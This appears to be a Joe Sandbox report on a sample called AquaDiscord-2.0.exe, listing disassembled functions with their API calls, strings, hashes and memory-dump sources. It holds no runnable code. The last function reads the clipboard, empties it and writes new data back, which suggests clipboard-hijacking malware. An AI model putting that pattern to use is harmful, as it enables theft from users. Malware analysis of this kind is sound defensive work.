Function 00AFF1B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,F5340F7A,?,?,00000000,00B15644,000000FF,?,00AFF279,00AFF160,?,00AFF315,00000000), ref: 00AFF1ED
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00AFF1FF
FreeLibrary.KERNEL32(00000000,?,?,00000000,00B15644,000000FF,?,00AFF279,00AFF160,?,00AFF315,00000000), ref: 00AFF221

Strings

mscoree.dll, xrefs: 00AFF1E6
CorExitProcess, xrefs: 00AFF1F7

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 9e2d61e13461fb4397d7e99ec1613535c650c9a082faaf5e63cffc420cb97ada
Instruction ID: bef586201695dd0bc749766bf388aa54035ab419f69b0568bcee6d4715e3a696
Opcode Fuzzy Hash: 9e2d61e13461fb4397d7e99ec1613535c650c9a082faaf5e63cffc420cb97ada
Instruction Fuzzy Hash: 2B01A231994619AFDB118F94DC09FFEBBF8FB04B11F404625F821A22E0DB749900CA94

Function 00AF77B2 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF77B9
std::_Lockit::_Lockit.LIBCPMT ref: 00AF77C4
std::_Lockit::~_Lockit.LIBCPMT ref: 00AF7832

Part of subcall function 00AF76AF: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00AF76C7

std::locale::_Setgloballocale.LIBCPMT ref: 00AF77DF
_Yarn.LIBCPMT ref: 00AF77F5

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: c7c29074cab5524af70d5ab021fc11d53fbb774ae87d184f5868412de22c2e1b
Instruction ID: 44b0e4060de4082361ca372aac8ae43fe9ecc48c7dde50353a9bc09a4a1b15f7
Opcode Fuzzy Hash: c7c29074cab5524af70d5ab021fc11d53fbb774ae87d184f5868412de22c2e1b
Instruction Fuzzy Hash: 8201DF75A001288FCB09EFA4C9455BD7BA1FFE4390B544049FA1257381CF34AE82CBC1

Function 00B0F670 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00B0F70C,00000000,?,00B21E20,?,?,?,00B0F643,00000004,InitializeCriticalSectionEx,00B190D4,00B190DC), ref: 00B0F67D
GetLastError.KERNEL32(?,00B0F70C,00000000,?,00B21E20,?,?,?,00B0F643,00000004,InitializeCriticalSectionEx,00B190D4,00B190DC,00000000,?,00B0535C), ref: 00B0F687
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00B0F6AF

Strings

api-ms-, xrefs: 00B0F694

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: fabb5d5330efa8095e8f22c6a51e4250ab4c255adae3351d6e41970bac349878
Instruction ID: 49b09f0a3350a0250f59da9ec9532a3ab1702894e4632ccb850bf16cd7ba8a66
Opcode Fuzzy Hash: fabb5d5330efa8095e8f22c6a51e4250ab4c255adae3351d6e41970bac349878
Instruction Fuzzy Hash: 2CE01231740209B6EB301BA0DC0ABA93F99DB50BD0F544070FD1CA84F1DB62E8909544

Function 00B0D70E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(F5340F7A,00000000,00000000,?), ref: 00B0D771

Part of subcall function 00B057C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00B06F95,?,00000000,-00000008), ref: 00B05822

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B0D9C3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00B0DA09
GetLastError.KERNEL32 ref: 00B0DAAC

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 26439a23073797621ddbb2b86d8e619891e7f9bafb458ff48d1f62c041eb2cf7
Instruction ID: 7edbf8b0c0502437228be2dab370089564d7a5189b1b1f1311a399b3922e9019
Opcode Fuzzy Hash: 26439a23073797621ddbb2b86d8e619891e7f9bafb458ff48d1f62c041eb2cf7
Instruction Fuzzy Hash: 4AD15A75E042589FDB15CFE8C880AEDBBF5FF48314F2441AAE556EB292D630A942CB50

Function 00B04A33 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00B04AFA
___AdjustPointer.LIBCMT ref: 00B04B1D
___AdjustPointer.LIBCMT ref: 00B04BB9

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 2d2da4bf046a934360c0974aa104be04f482c53fc138b09c2f7dbd720afbb5fb
Instruction ID: 58bd2319bd6077c075deca4ee512f4250ec2a9a0ff370083ca2a0f0de05c304c
Opcode Fuzzy Hash: 2d2da4bf046a934360c0974aa104be04f482c53fc138b09c2f7dbd720afbb5fb
Instruction Fuzzy Hash: 8B51D1F2604606AFDB288F54D981BBABBE4EF54311F2445ADEB09876D0E731EC40CB94

Function 00B0B536 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00B057C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00B06F95,?,00000000,-00000008), ref: 00B05822

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00B0B59A
__dosmaperr.LIBCMT ref: 00B0B5A1
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 00B0B5DB
__dosmaperr.LIBCMT ref: 00B0B5E2

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 75dbb3cb892ee9e1102de9201b21fb3058a1bcbd5d327ce6e3f3c78f376944ea
Instruction ID: 958ae5f1893c1ddd581a724669b0f7c90760220ec344b2143b6e26b9dfcec64d
Opcode Fuzzy Hash: 75dbb3cb892ee9e1102de9201b21fb3058a1bcbd5d327ce6e3f3c78f376944ea
Instruction Fuzzy Hash: D521807160020AEFDB20AF66CC91C6BBFE9EF1436471085E8F929975D1EB30ED408B90

Function 00AFC9D2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6835e124cc65ba7e5d80b3c2c18035bbda44cd8e1453c64de71ce3cf316bb55b
Instruction ID: 916b174fe6189bd1b685ae301bc70afe9defcf428cc7d4ec3a4279af3c0e8472
Opcode Fuzzy Hash: 6835e124cc65ba7e5d80b3c2c18035bbda44cd8e1453c64de71ce3cf316bb55b
Instruction Fuzzy Hash: EA21507160020EAFDB20FFF69E8197A7BAAAF443F47104514FA19D7550DB30EC509790

Function 00B0C92E Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00B0C936

Part of subcall function 00B057C1: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00B06F95,?,00000000,-00000008), ref: 00B05822

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B0C96E
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B0C98E

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 337a185e047dc1804dd8b64c7b2bc2eb5383b09c7aac9d6499ea10c611702faa
Instruction ID: c73987766b401bf1abbf4a480d231e53157856eb2db50644ecd2d27ff188fa3b
Opcode Fuzzy Hash: 337a185e047dc1804dd8b64c7b2bc2eb5383b09c7aac9d6499ea10c611702faa
Instruction Fuzzy Hash: E61161B2501619BFE62627B55CC9CBF6EDCDE853D47A046A9F80292181FF21CD0099B5

Function 00B14450 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,?,00000000,00000000,?,00B1399F,00000000,00000001,?,?,?,00B0DB00,?,00000000,00000000), ref: 00B14467
GetLastError.KERNEL32(?,00B1399F,00000000,00000001,?,?,?,00B0DB00,?,00000000,00000000,?,?,?,00B0D446,?), ref: 00B14473

Part of subcall function 00B144D0: CloseHandle.KERNEL32(FFFFFFFE,00B14483,?,00B1399F,00000000,00000001,?,?,?,00B0DB00,?,00000000,00000000,?,?), ref: 00B144E0

___initconout.LIBCMT ref: 00B14483

Part of subcall function 00B144A5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00B14441,00B1398C,?,?,00B0DB00,?,00000000,00000000,?), ref: 00B144B8

WriteConsoleW.KERNEL32(00000000,?,?,00000000,?,00B1399F,00000000,00000001,?,?,?,00B0DB00,?,00000000,00000000,?), ref: 00B14498

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: fe0be8fdacf1e513f48f815fbfc397f627ebb7a2ddcc82949d6968ae1e2fdfa1
Instruction ID: 3881f1f9b08458202e988c9c8ec0a829bb682476ac67ed7b5c5875da3e5a9419
Opcode Fuzzy Hash: fe0be8fdacf1e513f48f815fbfc397f627ebb7a2ddcc82949d6968ae1e2fdfa1
Instruction Fuzzy Hash: 49F03036400218BBCF221F95EC48AD93F66FB493F0F918450FE1996230CF32C8609B90

Function 00B0A0E6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B0590A: GetLastError.KERNEL32(00000000,?,00B07C8D), ref: 00B0590E
Part of subcall function 00B0590A: SetLastError.KERNEL32(00000000,?,?,00000028,00B01F53), ref: 00B059B0

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00AFF7C9,?,?,?,00000055,?,-00000050,?,?,?), ref: 00B0A1A5
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00AFF7C9,?,?,?,00000055,?,-00000050,?,?), ref: 00B0A1DC

Strings

utf8, xrefs: 00B0A2AE

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: d58f0bad498177a924ea9f95bc2f6b43bad341f97fbef4510a72fa6b1fbce4bb
Instruction ID: f20d2147c035f82f20225f5b8044f99492cd91f9f33da19ea381339470c2505d
Opcode Fuzzy Hash: d58f0bad498177a924ea9f95bc2f6b43bad341f97fbef4510a72fa6b1fbce4bb
Instruction Fuzzy Hash: C9511731600305AAEB25AB748C82BB67BE8EF05740F144CE9FA55AB4C1FB71D94497A3

Function 00B05130 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,00B05031,?,?,00000000,00000000,00000000,?), ref: 00B05155

Strings

MOC, xrefs: 00B05167
RCC, xrefs: 00B0516F

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 1a3d04abb828008be788469bbf73d7d969478061ff009953401a3c86d0799b69
Instruction ID: 5594469fdb53435593e1ec1433ae6bd53db010139f6207031f600fcde7d390b7
Opcode Fuzzy Hash: 1a3d04abb828008be788469bbf73d7d969478061ff009953401a3c86d0799b69
Instruction Fuzzy Hash: BB415871900609AFCF25DF98CD81AEEBBB5FF48300F148099FA09A72A1D735AA51DF50

Function 00B0499C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00B04C13

Strings

csm, xrefs: 00B04C35
csm, xrefs: 00B04CA6

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 2bc179bff8e76723036f57f9e75cd380d96e0ee420206c1324eb2164604c59ef
Instruction ID: 9c21f47b4521cf6fd5cd48e141b51566248c5d31cfe6458a1828a2eb03694dcd
Opcode Fuzzy Hash: 2bc179bff8e76723036f57f9e75cd380d96e0ee420206c1324eb2164604c59ef
Instruction Fuzzy Hash: 5131E1B2401219ABDF369F50C8449AE7FE5FF09315B1882EAFF544A1A1C332CCA1DB91

Analysis Process: AquaDiscord-2.0.exePID: 7400, Parent PID: 7324COMMON

Execution Graph

Execution Coverage:	5.8%
Dynamic/Decrypted Code Coverage:	4.4%
Signature Coverage:	48.3%
Total number of Nodes:	362
Total number of Limit Nodes:	34

Executed Functions

Function 00411920 Relevance: 105.2, APIs: 5, Strings: 54, Instructions: 1942COMMON

Download Yara Rule

Strings

8, xrefs: 0041209F
, xrefs: 004120DF
,, xrefs: 00412C01
u, xrefs: 004125CF
B, xrefs: 0041244F
9, xrefs: 00411B86
#, xrefs: 00412DCD
X, xrefs: 00411E31
/, xrefs: 0041299E
0, xrefs: 0041311C
D, xrefs: 004135D5
|, xrefs: 0041240F
6, xrefs: 0041310C
H, xrefs: 00411A6A
<, xrefs: 004120BF
), xrefs: 0041308C
1, xrefs: 00412E0D
", xrefs: 004120CF
3, xrefs: 00412DFD
p, xrefs: 00412894
*, xrefs: 00411B81
D, xrefs: 0041321A
v, xrefs: 004125B7
K, xrefs: 00412417
G, xrefs: 00412437
$, xrefs: 004120FF
-, xrefs: 004130EC
f, xrefs: 00411C0E
(, xrefs: 00412D7D
_, xrefs: 0041258F
D, xrefs: 004135E2
9, xrefs: 0041241F
t, xrefs: 004125C7
M, xrefs: 0041251C
*, xrefs: 0041210F
E, xrefs: 00412427
%, xrefs: 00412107
N, xrefs: 00411B8B
Y, xrefs: 004124FC
', xrefs: 00411F14
r, xrefs: 004125D7
[, xrefs: 00411A6F
S, xrefs: 00411ACF
O, xrefs: 0041250C
=, xrefs: 0041243F
C, xrefs: 00412457
4, xrefs: 00412DDD
Z, xrefs: 004119E9
&, xrefs: 004120EF
>, xrefs: 004120AF
x, xrefs: 00411CA4
&, xrefs: 004130DC
A, xrefs: 00412447
`, xrefs: 00412688

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: $"$#$$$%$&$&$'$($)$*$*$,$-$/$0$1$3$4$6$8$9$9$<$=$>$A$B$C$D$D$D$E$G$H$K$M$N$O$S$X$Y$Z$[$_$`$f$p$r$t$u$v$x$|
API String ID: 0-842215263
Opcode ID: e1db05eb6b877458662798f7b77d9f674f87e06c784e635f8a94fdc96650a68d
Instruction ID: 919045ca250a3dc522ea085bcacde565848991d1b776b7806181371f3fd81d75
Opcode Fuzzy Hash: e1db05eb6b877458662798f7b77d9f674f87e06c784e635f8a94fdc96650a68d
Instruction Fuzzy Hash: C203BD3150C7C18AC3359B3885443DFBFE1AB96324F188A6EE4E9873D2D6788586C75B

Function 00414A9A Relevance: 26.0, APIs: 1, Strings: 13, Instructions: 1455COMMON

Download Yara Rule

Strings

|W:(, xrefs: 00415190
V, xrefs: 004151F5
rpLA, xrefs: 00415113
KiY], xrefs: 00415129
[W:(, xrefs: 00415152
bYbU, xrefs: 0041513F
Ovxu, xrefs: 0041511E
L4, xrefs: 00415EE0
wOGH, xrefs: 004150FD
U^nl, xrefs: 00415134
50;>, xrefs: 00414E30
L4, xrefs: 00415770
>89>, xrefs: 00415E10

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: 50;>$>89>$KiY]$Ovxu$U^nl$V$[W:($bYbU$rpLA$wOGH$|W:($L4$L4
API String ID: 0-291379916
Opcode ID: 708b374310dfa8033e766b2e8d36929ad886bd4ce37cf35e25c25107b4ef0a77
Instruction ID: 65dbaec70bbc84fecd4f702046f7613bdab94853883533c89d79ffcbef30d949
Opcode Fuzzy Hash: 708b374310dfa8033e766b2e8d36929ad886bd4ce37cf35e25c25107b4ef0a77
Instruction Fuzzy Hash: DDA24976A083518BD724CF25D8917EFB7E2EBC5314F08893EE49987392E7389845C786

Function 00439B30 Relevance: 25.2, APIs: 11, Strings: 3, Instructions: 736
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(0044468C,00000000,00000001,0044467C,00000000), ref: 00439CED
SysAllocString.OLEAUT32(CCA0CE8C), ref: 00439D47
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00439D90
SysAllocString.OLEAUT32(82DC8CE4), ref: 00439E0C
SysAllocString.OLEAUT32(82DC8CE4), ref: 00439E97
VariantInit.OLEAUT32(oTUJ), ref: 00439F05
GetVolumeInformationW.KERNELBASE(?,00000000,00000000,CCA0CE8C,00000000,00000000,00000000,00000000), ref: 0043A21A

Strings

C, xrefs: 00439C52
!B, xrefs: 00439C5D
oTUJ, xrefs: 00439BA4, 00439C44

Memory Dump Source

Source File: 00000002.00000002.2909459178.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2909459178.0000000000454000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AquaDiscord-2.jbxd

Similarity

API ID: AllocString$BlanketCreateInformationInitInstanceProxyVariantVolume
String ID: !B$C$oTUJ
API String ID: 1810270423-3346123761
Opcode ID: 92c28b2f1e1ce454a1989aec24678e01c31857c879c3496e424f8912745cb02b
Instruction ID: 4797e4197787e1ccd0c2251949579dafbeb3e9d5dd3206026abedc5e4ab30956
Opcode Fuzzy Hash: 92c28b2f1e1ce454a1989aec24678e01c31857c879c3496e424f8912745cb02b
Instruction Fuzzy Hash: 4E32FE71A483518BD714CF24C88176BBBE1EBCA314F14992EE8D59B391D378D806CB9B

Function 05141000 Relevance: 19.6, APIs: 13, Instructions: 81
clipboardsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000001), ref: 05141032
OpenClipboard.USER32(00000000), ref: 0514103C
GetClipboardData.USER32(0000000D), ref: 0514104C
GlobalLock.KERNEL32(00000000), ref: 0514105D
GlobalAlloc.KERNEL32(00000002,-00000004), ref: 05141090
GlobalLock.KERNEL32 ref: 051410A0
GlobalUnlock.KERNEL32 ref: 051410C1
EmptyClipboard.USER32 ref: 051410CB
SetClipboardData.USER32(0000000D), ref: 051410D6
